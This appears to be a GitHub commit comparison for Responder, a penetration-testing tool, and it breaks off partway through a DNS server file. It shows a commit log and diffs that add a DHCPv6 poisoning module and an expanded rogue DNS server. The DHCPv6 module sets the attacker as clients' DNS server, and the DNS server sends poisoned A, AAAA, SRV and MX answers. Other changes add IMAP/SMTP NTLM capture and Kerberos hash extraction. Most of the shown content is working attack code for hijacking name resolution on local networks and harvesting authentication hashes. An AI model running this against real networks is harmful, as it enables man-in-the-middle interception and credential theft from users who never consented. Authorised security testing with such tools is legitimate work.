Compare commits

...

33 Commits

Author SHA1 Message Date
lgandx
9fa97ef308 removed mysql 2026-01-06 20:56:01 -03:00
lgandx
23587f8b5d added IMAPS 2026-01-06 20:54:03 -03:00
lgandx
9db07b54d6 Added DHCPv6 poisoning + DNS filtering 2026-01-06 20:51:08 -03:00
lgandx
074f152a74 DNS server should be enabled in analyze mode since its a rogue server, not a poisoner 2026-01-06 19:55:07 -03:00
lgandx
e854680360 Merge branch 'master' of https://github.com/lgandx/Responder 2026-01-06 18:54:34 -03:00
lgandx
100b1bbe00 Added STARTTLS support to imap and SMTP 2026-01-06 18:53:56 -03:00
lgandx
b9646c7890 Merge pull request #336 from the-useless-one/fix_smbserver
Fix Buffer type for SMBv1/2 session request
2026-01-06 13:43:39 -03:00
yme
fc9cfaf8f8 Fix Buffer type for SMBv1/2 session request 2026-01-06 17:20:52 +01:00
lgandx
367ed8a188 fixed formatting 2026-01-02 14:06:01 -03:00
lgandx
70893cdb8b minor fix 2026-01-02 13:57:48 -03:00
lgandx
e264aae039 fix output 2026-01-02 13:42:14 -03:00
lgandx
a8cb41d09b Now forces clients to authenticate and if possible to use RC4 + correct hash formatting when parsing type 23 2026-01-02 13:40:28 -03:00
lgandx
e2a0ba041a added support for OPT, etc 2026-01-02 09:48:18 -03:00
lgandx
b2b1974b2a added support for SAMR, SRVSVC, WKSSVC, WINREG, SVCCTL, ATSVC, DNSSERVER 2025-12-31 15:51:54 -03:00
lgandx
1833341a33 added suppport for imap ntlm 2025-12-31 15:49:49 -03:00
lgandx
5a114080b4 major fixes, kerberos handling, etc 2025-12-31 15:47:52 -03:00
lgandx
0ffdeb585f DNS server now supports SOA, MX, SRV, ANY, etc 2025-12-31 15:00:01 -03:00
lgandx
73507a671f Client: TGS-REQ → Responder: KRB-ERROR → AS-REQ → KRB-ERROR 25 (pre-auth required) -> AS-REQ with PA-ENC-TIMESTAMP (hash!) 2025-12-31 12:28:59 -03:00
lgandx
9c40a5d265 Added NTLM authentication for IMAP and AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM authentication on SMTP 2025-12-31 10:14:50 -03:00
lgandx
5960d04a51 fixed hashcat hash construction 2025-12-31 09:26:17 -03:00
lgandx
44f6dd2865 msgData is a plain SEQUENCE (0x30) per RFC 3412 2025-12-31 08:42:53 -03:00
lgandx
9d4b64354c added support for all modern SNMPv3 auth algorithms 2025-12-31 02:03:26 -03:00
lgandx
6a5a20dc8b Major fixes, now supporting AES and RC4 hash extraction 2025-12-31 01:41:07 -03:00
lgandx
3dd2ed8370 Added Challenge-response + full SASL mechanisms support 2025-12-30 23:22:00 -03:00
lgandx
74cea27ff9 Added LDAP support for SASL mechanisms: GSSAPI, GSS-SPNEGO, NTLM, DIGEST-MD5 2025-12-30 21:46:03 -03:00
lgandx
9a5e33ae03 added error handling 2025-12-05 14:56:00 -03:00
lgandx
6d66d900f1 added error handling 2025-12-05 14:49:43 -03:00
lgandx
aa4b082071 Merge branch 'master' of https://github.com/lgandx/Responder 2025-12-01 21:48:18 -03:00
lgandx
de5cdf4891 removed old addresses and added new ones. 2025-12-01 21:47:30 -03:00
lgandx
b4427406ee Merge pull request #329 from FLX-0x00/master
Fix pyproject.toml license metadata incompatibility with PDM backend
2025-11-29 20:00:45 -03:00
Paul Werther
1457035955 remove the licence classifier 2025-11-05 12:33:22 +01:00
lgandx
7c5a31d803 Merge pull request #325 from TheToddLuci0/add_pyproject_toml
Add pyprojcet.toml for pip-install ability
2025-10-30 20:48:59 -03:00
TheToddLuci0
15c173a128 Add pyprojcet.toml for pip-install ability 2025-10-20 14:02:44 -05:00
17 changed files with 5119 additions and 623 deletions

View File

@@ -110,9 +110,16 @@ launchctl bootout system /System/Library/LaunchDaemons/com.apple.smbd.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.netbiosd.plist
```
- Quickstart for macOS:
## Install ##
Using pipx
```bash
pipx install git+https://github.com/lgandx/Responder.git
```
Manual:
```bash
git clone https://github.com/lgandx/Responder
cd Responder/
python3 -m venv .
@@ -192,9 +199,11 @@ Options:
## Donation ##
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
You can contribute to this project by donating to the following USDT or Bitcoin address:
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv
BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo
Paypal:

View File

@@ -5,6 +5,9 @@ MDNS = On
LLMNR = On
NBTNS = On
#IPv6 conf:
DHCPv6 = Off
; Servers to start
SQL = On
SMB = On
@@ -23,6 +26,7 @@ DCERPC = On
WINRM = On
SNMP = On
MQTT = On
MYSQL = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
@@ -80,6 +84,27 @@ CaptureMultipleCredentials = On
; domain\popo, domain\zozo. Recommended value: On, capture everything.
CaptureMultipleHashFromSameHost = On
;IPv6 section
[DHCPv6 Server]
; Domain to filter DNS and DHCPv6 poisoning responses
; Only respond to clients in this domain
; Leave empty to poison all domains (NOT RECOMMENDED - causes network disruption)
; Example: corp.local
DHCPv6_Domain =
; Send Router Advertisements to speed up IPv6 configuration
; Only needed on networks without RA Guard protection
; Default: Off (more stealthy, waits for natural DHCPv6 SOLICIT)
; WARNING: Sending RA can be more detectable
SendRA = Off
; Specific IPv6 address to bind to and advertise as DNS server
; Leave empty to auto-detect link-local address (recommended)
; Example: fe80::1
; Example: 2001:db8::1
BindToIPv6 =
[HTTP Server]
; Set to On to always serve the custom EXE

View File

@@ -36,6 +36,8 @@ parser.add_option('-b', '--basic', action="store_true", help="Return a B
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
parser.add_option('--dhcpv6', action="store_true", help="Enable DHCPv6 poisoning attack (disabled by default). Responds to DHCPv6 SOLICIT messages and configures attacker as DNS server. WARNING: May cause network disruption.", dest="DHCPv6_On_Off", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
@@ -132,6 +134,34 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self)
class ThreadingUDPDHCPv6Server(ThreadingMixIn, UDPServer):
allow_reuse_address = True
address_family = socket.AF_INET6
def server_bind(self):
import socket
import struct
# Bind to :: (accept packets to ANY address including multicast)
UDPServer.server_bind(self)
print(color("[DHCPv6] Make sure to review DHCPv6 settings Responder.conf\n[DHCPv6] Only run this module for short periods of time, you might cause some disruption.", 2, 1))
# Join multicast group
group = socket.inet_pton(socket.AF_INET6, 'ff02::1:2')
if_index = socket.if_nametoindex(settings.Config.Interface)
mreq = group + struct.pack('@I', if_index)
try:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_LOOP, 1)
print(color("[DHCPv6] Joined ff02::1:2 port 547 on %s" % settings.Config.Interface, 2, 1))
except Exception as e:
print(color("[!] Multicast join failed: %s" % str(e), 1, 1))
# Set address family to IPv6
ThreadingUDPDHCPv6Server.address_family = socket.AF_INET6
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self):
@@ -252,6 +282,14 @@ def serve_thread_udp(host, port, handler):
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_dhcpv6(host, port, handler):
try:
# MUST bind to :: to receive multicast packets
server = ThreadingUDPDHCPv6Server(('::', port), handler)
server.serve_forever()
except Exception as e:
print(color("[!] DHCPv6 error: %s" % str(e), 1, 1))
def serve_thread_tcp(host, port, handler):
try:
if OsInterfaceIsSupported():
@@ -300,8 +338,13 @@ def main():
print(color('\n[+]', 2, 1) + " Listening for events...\n")
threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners
#IPv6 Poisoning
# DHCPv6 Server (disabled by default, enable with --dhcpv6)
if settings.Config.DHCPv6_On_Off:
from servers.DHCPv6 import DHCPv6
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
# Load MDNS, NBNS and LLMNR Poisoners
if settings.Config.LLMNR_On_Off:
from poisoners.LLMNR import LLMNR
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
@@ -405,6 +448,9 @@ def main():
if settings.Config.IMAP_On_Off:
from servers.IMAP import IMAP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 143, IMAP,)))
from servers.IMAP import IMAPS
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 993, IMAPS,)))
if settings.Config.DNS_On_Off:
from servers.DNS import DNS, DNSTCP
@@ -433,6 +479,14 @@ def main():
time.sleep(1)
except KeyboardInterrupt:
# Optional: Print DHCPv6 statistics on shutdown
if settings.Config.DHCPv6_On_Off:
try:
from servers.DHCPv6 import print_dhcpv6_stats
print_dhcpv6_stats()
except:
raise
pass
sys.exit("\r%s Exiting..." % color('[+]', 2, 1))
if __name__ == '__main__':

View File

@@ -861,7 +861,7 @@ class IMAPGreeting(Packet):
class IMAPCapability(Packet):
fields = OrderedDict([
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN AUTH=LOGIN AUTH=NTLM"),
("CRLF", "\r\n"),
])

30
pyproject.toml Normal file
View File

@@ -0,0 +1,30 @@
[build-system]
requires = ["pdm-backend >= 2.4.0"]
build-backend = "pdm.backend"
[project]
name = "Responder-poisoner" # "responder" is already taken
description = "LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication."
readme = "README.md"
license = "GPL-3.0-only"
license-files = ["LICENSE"]
dynamic = ["version"]
dependencies = ["aioquic", "netifaces>=0.10.4"]
classifiers = [
"Operating System :: MacOS",
"Operating System :: POSIX :: Linux",
"Topic :: Security"
]
[project.urls]
Homepage = "https://github.com/lgandx/Responder"
Issues = "https://github.com/lgandx/Responder/issues"
[project.scripts]
responder = "Responder:main"
[tool.pdm.build]
includes = ["*.py", "files/", "poisoners/", "servers/", "certs/", "tools/", "Responder.conf"]
[tool.pdm.version]
source = "scm"

471
servers/DHCPv6.py Normal file
View File

@@ -0,0 +1,471 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# DHCPv6 poisoning module based on mitm6 concepts by Dirk-jan Mollema
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
import struct
import socket
import time
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
# DHCPv6 Message Types
DHCPV6_SOLICIT = 1
DHCPV6_ADVERTISE = 2
DHCPV6_REQUEST = 3
DHCPV6_CONFIRM = 4
DHCPV6_RENEW = 5
DHCPV6_REBIND = 6
DHCPV6_REPLY = 7
DHCPV6_RELEASE = 8
DHCPV6_DECLINE = 9
DHCPV6_INFORMATION_REQUEST = 11
# DHCPv6 Option Codes
OPTION_CLIENTID = 1
OPTION_SERVERID = 2
OPTION_IA_NA = 3
OPTION_IA_TA = 4
OPTION_IAADDR = 5
OPTION_ORO = 6
OPTION_PREFERENCE = 7
OPTION_ELAPSED_TIME = 8
OPTION_RELAY_MSG = 9
OPTION_AUTH = 11
OPTION_UNICAST = 12
OPTION_STATUS_CODE = 13
OPTION_RAPID_COMMIT = 14
OPTION_USER_CLASS = 15
OPTION_VENDOR_CLASS = 16
OPTION_VENDOR_OPTS = 17
OPTION_INTERFACE_ID = 18
OPTION_RECONF_MSG = 19
OPTION_RECONF_ACCEPT = 20
OPTION_DNS_SERVERS = 23
OPTION_DOMAIN_LIST = 24
class DHCPv6State:
def __init__(self):
self.leases = {}
self.start_time = time.time()
self.poisoned_count = 0
def add_lease(self, client_id, ipv6_addr, mac):
self.leases[client_id] = {
'ipv6': ipv6_addr,
'mac': mac,
'lease_time': time.time(),
'lease_duration': 120
}
self.poisoned_count += 1
dhcpv6_state = DHCPv6State()
class DHCPv6(BaseRequestHandler):
def handle(self):
try:
data, socket_obj = self.request
if len(data) < 4:
return
msg_type = data[0]
transaction_id = data[1:4]
if msg_type not in [DHCPV6_SOLICIT, DHCPV6_REQUEST, DHCPV6_CONFIRM, DHCPV6_RENEW, DHCPV6_REBIND, DHCPV6_INFORMATION_REQUEST]:
return
options = self.parse_dhcpv6_options(data[4:])
client_id = options.get(OPTION_CLIENTID)
if not client_id:
return
client_mac = self.extract_mac_from_clientid(client_id)
if not self.should_poison_client():
return
msg_type_name = self.get_message_type_name(msg_type)
if settings.Config.Verbose:
print(text('[DHCPv6] %s from %s (MAC: %s)' % (
msg_type_name,
self.client_address[0],
client_mac if client_mac else 'Unknown'
)))
# Build response based on message type
if msg_type == DHCPV6_SOLICIT:
response = self.build_advertise(transaction_id, options)
response_type = 'ADVERTISE'
elif msg_type == DHCPV6_REQUEST:
response = self.build_reply(transaction_id, options, client_id, client_mac)
response_type = 'REPLY'
elif msg_type == DHCPV6_RENEW:
response = self.build_reply(transaction_id, options, client_id, client_mac)
response_type = 'REPLY (Renew)'
elif msg_type == DHCPV6_REBIND:
response = self.build_reply(transaction_id, options, client_id, client_mac)
response_type = 'REPLY (Rebind)'
elif msg_type == DHCPV6_CONFIRM:
response = self.build_confirm_reply(transaction_id, options)
response_type = 'REPLY (Confirm)'
elif msg_type == DHCPV6_INFORMATION_REQUEST:
response = self.build_info_reply(transaction_id, options)
response_type = 'REPLY (Info)'
else:
return
socket_obj.sendto(response, self.client_address)
analyze_mode = getattr(settings.Config, 'Analyze', False)
if analyze_mode:
print(color('[Analyze] [DHCPv6] Would send %s to %s' % (response_type, self.client_address[0]), 3, 1))
else:
attacker_ip = self.get_attacker_ipv6()
print(text('[DHCPv6] Sent %s to %s' % (response_type, self.client_address[0])))
if msg_type in [DHCPV6_REQUEST, DHCPV6_RENEW, DHCPV6_REBIND, DHCPV6_SOLICIT]:
print(text('[DHCPv6] Poisoned DNS server: %s' % attacker_ip))
except Exception as e:
if settings.Config.Verbose:
print(color('[!] [DHCPv6] Error: %s' % str(e), 1, 1))
import traceback
traceback.print_exc()
def should_poison_client(self):
return True
def parse_dhcpv6_options(self, options_data):
options = {}
offset = 0
while offset < len(options_data) - 4:
option_code = struct.unpack('!H', options_data[offset:offset+2])[0]
option_len = struct.unpack('!H', options_data[offset+2:offset+4])[0]
option_data = options_data[offset+4:offset+4+option_len]
options[option_code] = option_data
offset += 4 + option_len
return options
def extract_mac_from_clientid(self, client_id):
try:
if len(client_id) < 2:
return None
duid_type = struct.unpack('!H', client_id[0:2])[0]
if duid_type == 1 and len(client_id) >= 14:
mac = client_id[8:14]
return ':'.join(['%02x' % b for b in bytearray(mac)])
elif duid_type == 3 and len(client_id) >= 8:
mac = client_id[4:10]
return ':'.join(['%02x' % b for b in bytearray(mac)])
except:
pass
return None
def get_attacker_ipv6(self):
"""Get attacker's link-local IPv6 address derived from IPv4"""
# mitm6 technique: use link-local address with decimal octets
# Example: 10.207.212.254 -> fe80::a:cf:d4:fe (hex) or similar pattern
# Actually based on your example, it seems to generate a different link-local
# Let's use the actual Bind_To6 if available, otherwise construct one
try:
# Try to get actual link-local from interface
import netifaces
iface = settings.Config.Interface
addrs = netifaces.ifaddresses(iface)
if netifaces.AF_INET6 in addrs:
for addr_info in addrs[netifaces.AF_INET6]:
addr = addr_info.get('addr', '').split('%')[0]
# Return link-local address (fe80::)
if addr.startswith('fe80::'):
return addr
except:
pass
# Fallback: construct from IPv4
try:
ipv4 = settings.Config.Bind_To
octets = ipv4.split('.')
# Use hex conversion for DNS server address
ipv6 = 'fe80::%x:%x:%x:%x' % (
int(octets[0]), int(octets[1]),
int(octets[2]), int(octets[3])
)
return ipv6
except:
return 'fe80::1'
def generate_client_ipv6(self):
"""Generate client's link-local IPv6 address from attacker's IPv4"""
# mitm6 technique: fe80::<octet1>:<octet2>:<octet3>:254
# Example: 10.207.212.254 -> fe80::10:207:212:254
try:
ipv4 = settings.Config.Bind_To
octets = ipv4.split('.')
# Use decimal octets (base 10) separated by colons, last octet is always 254
ipv6 = 'fe80::%s:%s:%s:254' % (octets[0], octets[1], octets[2])
return ipv6
except:
return 'fe80::1:2:3:4'
def build_advertise(self, transaction_id, options):
msg = bytes([DHCPV6_ADVERTISE]) + transaction_id
# Client ID first
if OPTION_CLIENTID in options:
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
# Server ID - DUID Type 3 (link-layer only, not link-layer + time)
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
# DNS servers option - use link-local address
dns_option = self.build_dns_servers_option()
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
# IA_NA if requested
if OPTION_IA_NA in options:
ia_na_option = self.build_ia_na_option(options[OPTION_IA_NA])
msg += self.build_option(OPTION_IA_NA, ia_na_option)
# Add domain list if configured
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
if dhcpv6_domain:
domain_option = self.build_domain_list_option([dhcpv6_domain])
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
return msg
def build_reply(self, transaction_id, options, client_id, client_mac):
msg = bytes([DHCPV6_REPLY]) + transaction_id
# Client ID first
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
# Server ID - DUID Type 3
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
# DNS servers option - use link-local address
dns_option = self.build_dns_servers_option()
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
# IA_NA if requested - reuse the address from request if present
if OPTION_IA_NA in options:
ia_na_option = self.build_ia_na_option_reply(options[OPTION_IA_NA])
msg += self.build_option(OPTION_IA_NA, ia_na_option)
# Add domain list if configured
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
if dhcpv6_domain:
domain_option = self.build_domain_list_option([dhcpv6_domain])
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
# Track this lease
ipv6_addr = self.generate_client_ipv6()
dhcpv6_state.add_lease(client_id, ipv6_addr, client_mac)
return msg
def build_info_reply(self, transaction_id, options):
msg = bytes([DHCPV6_REPLY]) + transaction_id
# Client ID first
if OPTION_CLIENTID in options:
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
# Server ID
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
# DNS servers option
dns_option = self.build_dns_servers_option()
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
# Add domain list if configured
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
if dhcpv6_domain:
domain_option = self.build_domain_list_option([dhcpv6_domain])
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
return msg
def build_confirm_reply(self, transaction_id, options):
msg = bytes([DHCPV6_REPLY]) + transaction_id
# Client ID first
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
# Server ID
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
# Status Code: Success (0)
status_code = struct.pack('!H', 0)
msg += self.build_option(OPTION_STATUS_CODE, status_code)
# DNS servers option
dns_option = self.build_dns_servers_option()
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
# Add domain list if configured
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
if dhcpv6_domain:
domain_option = self.build_domain_list_option([dhcpv6_domain])
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
return msg
def build_option(self, code, data):
return struct.pack('!HH', code, len(data)) + data
def get_server_duid(self):
"""Get server DUID - Type 3 (link-layer only) like mitm6"""
duid_type = 3 # DUID-LL (link-layer only)
hw_type = 1 # Ethernet
# Get actual MAC address from interface
try:
import netifaces
iface = settings.Config.Interface
addrs = netifaces.ifaddresses(iface)
if netifaces.AF_LINK in addrs:
mac_str = addrs[netifaces.AF_LINK][0]['addr']
# Convert MAC string to bytes
mac = bytes([int(x, 16) for x in mac_str.split(':')])
else:
mac = bytes([0x02, 0x00, 0x00, 0x00, 0x00, 0x01])
except:
mac = bytes([0x02, 0x00, 0x00, 0x00, 0x00, 0x01])
# DUID Type 3 format: type (2) + hardware type (2) + link-layer address
duid = struct.pack('!HH', duid_type, hw_type) + mac
return duid
def build_ia_na_option(self, request_ia_na):
"""Build IA_NA option with link-local address for ADVERTISE"""
iaid = request_ia_na[0:4]
# Short lease times like mitm6
t1 = 200
t2 = 250
ia_na = iaid + struct.pack('!II', t1, t2)
# Add IAADDR sub-option with link-local address
ipv6_addr = self.generate_client_ipv6()
iaaddr = self.build_iaaddr_option(ipv6_addr, 300)
ia_na += iaaddr
return ia_na
def build_ia_na_option_reply(self, request_ia_na):
"""Build IA_NA option for REPLY/RENEW/REBIND - reuse client's address if present"""
iaid = request_ia_na[0:4]
# Short lease times like mitm6
t1 = 200
t2 = 250
ia_na = iaid + struct.pack('!II', t1, t2)
# Try to extract existing address from request
ipv6_addr = None
try:
# Parse IA_NA options to find IAADDR
offset = 12 # Skip IAID + T1 + T2
while offset < len(request_ia_na) - 4:
opt_code = struct.unpack('!H', request_ia_na[offset:offset+2])[0]
opt_len = struct.unpack('!H', request_ia_na[offset+2:offset+4])[0]
if opt_code == OPTION_IAADDR and opt_len >= 16:
# Extract IPv6 address (first 16 bytes of option data)
import ipaddress
addr_bytes = request_ia_na[offset+4:offset+20]
ipv6_addr = str(ipaddress.IPv6Address(addr_bytes))
break
offset += 4 + opt_len
except:
pass
# If no address found in request, generate new one
if not ipv6_addr:
ipv6_addr = self.generate_client_ipv6()
# Add IAADDR sub-option
iaaddr = self.build_iaaddr_option(ipv6_addr, 300)
ia_na += iaaddr
return ia_na
def build_iaaddr_option(self, ipv6_addr, lease_time):
"""Build IAADDR option"""
import ipaddress
addr_bytes = ipaddress.IPv6Address(ipv6_addr).packed
# Format: IPv6 address (16) + preferred-lifetime (4) + valid-lifetime (4)
iaaddr_data = addr_bytes + struct.pack('!II', lease_time, lease_time)
# Wrap in option
return struct.pack('!HH', OPTION_IAADDR, len(iaaddr_data)) + iaaddr_data
def build_dns_servers_option(self):
"""Build DNS Servers option - use link-local address like mitm6"""
import ipaddress
attacker_ipv6 = self.get_attacker_ipv6()
dns_bytes = ipaddress.IPv6Address(attacker_ipv6).packed
return dns_bytes
def build_domain_list_option(self, domains):
domain_data = b''
for domain in domains:
labels = domain.split('.')
for label in labels:
domain_data += bytes([len(label)]) + label.encode('ascii')
domain_data += b'\x00'
return domain_data
def get_message_type_name(self, msg_type):
types = {
DHCPV6_SOLICIT: 'SOLICIT',
DHCPV6_ADVERTISE: 'ADVERTISE',
DHCPV6_REQUEST: 'REQUEST',
DHCPV6_CONFIRM: 'CONFIRM',
DHCPV6_RENEW: 'RENEW',
DHCPV6_REBIND: 'REBIND',
DHCPV6_REPLY: 'REPLY',
DHCPV6_RELEASE: 'RELEASE',
DHCPV6_DECLINE: 'DECLINE',
DHCPV6_INFORMATION_REQUEST: 'INFORMATION_REQUEST'
}
return types.get(msg_type, 'UNKNOWN(%d)' % msg_type)
def print_dhcpv6_stats():
if dhcpv6_state.poisoned_count > 0:
runtime = int(time.time() - dhcpv6_state.start_time)
print(color('\n[DHCPv6] Statistics:', 2, 1))
print(color(' Clients poisoned: %d' % dhcpv6_state.poisoned_count, 2, 1))
print(color(' Active leases: %d' % len(dhcpv6_state.leases), 2, 1))
print(color(' Runtime: %d seconds' % runtime, 2, 1))

742
servers/DNS.py Executable file → Normal file
View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,121 +14,655 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# Features:
# - Responds to A, AAAA, SOA, MX, TXT, SRV, and ANY queries
# - OPT record (EDNS0) support for modern DNS clients
# - SOA records to appear as authoritative DNS server
# - MX record poisoning for email client authentication capture
# - SRV record poisoning for service discovery (Kerberos, LDAP, etc.)
# - Logs interesting authentication-related domains
# - Short TTL (60s) to ensure frequent re-queries
# - IPv6 support for modern networks
# - Domain filtering to target specific domains only
#
from utils import *
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
import struct
import socket
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
OPT = data[len(data)-22:len(data)-20]
if OPT == "\x00\x29":
return "OPTIPv4"
# If Type A, Class IN, then answer.
elif QueryTypeClass == "\x00\x01\x00\x01":
return "A"
elif QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
elif QueryTypeClass == "\x00\x1c\x00\x01":
return "IPv6"
class DNS(BaseRequestHandler):
"""
Enhanced DNS server for Responder
Redirects DNS queries to attacker's IP to force authentication attempts
"""
def handle(self):
# Ditch it if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
try:
data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
data, socket_obj = self.request
if len(data) < 12:
return
# Parse DNS header
transaction_id = data[0:2]
flags = struct.unpack('>H', data[2:4])[0]
questions = struct.unpack('>H', data[4:6])[0]
answer_rrs = struct.unpack('>H', data[6:8])[0]
authority_rrs = struct.unpack('>H', data[8:10])[0]
additional_rrs = struct.unpack('>H', data[10:12])[0]
# Check if it's a query (QR bit = 0)
if flags & 0x8000:
return # It's a response, ignore
# Parse question section
query_name, query_type, query_class, offset = self.parse_question(data, 12)
if not query_name:
return
# Check for OPT record in additional section
opt_record = None
if additional_rrs > 0:
opt_record = self.parse_opt_record(data, offset)
# Log the query
if settings.Config.Verbose:
query_type_name = self.get_type_name(query_type)
opt_info = ''
if opt_record:
opt_info = ' [EDNS0: UDP=%d, DO=%s]' % (
opt_record['udp_size'],
'Yes' if opt_record['dnssec_ok'] else 'No'
)
print(text('[DNS] Query from %s: %s (%s)%s' % (
self.client_address[0].replace('::ffff:', ''),
query_name,
query_type_name,
opt_info
)))
# Check if we should respond to this query
if not self.should_respond(query_name, query_type):
return
# Build response
response = self.build_response(
transaction_id,
query_name,
query_type,
query_class,
data,
opt_record
)
if response:
socket_obj.sendto(response, self.client_address)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
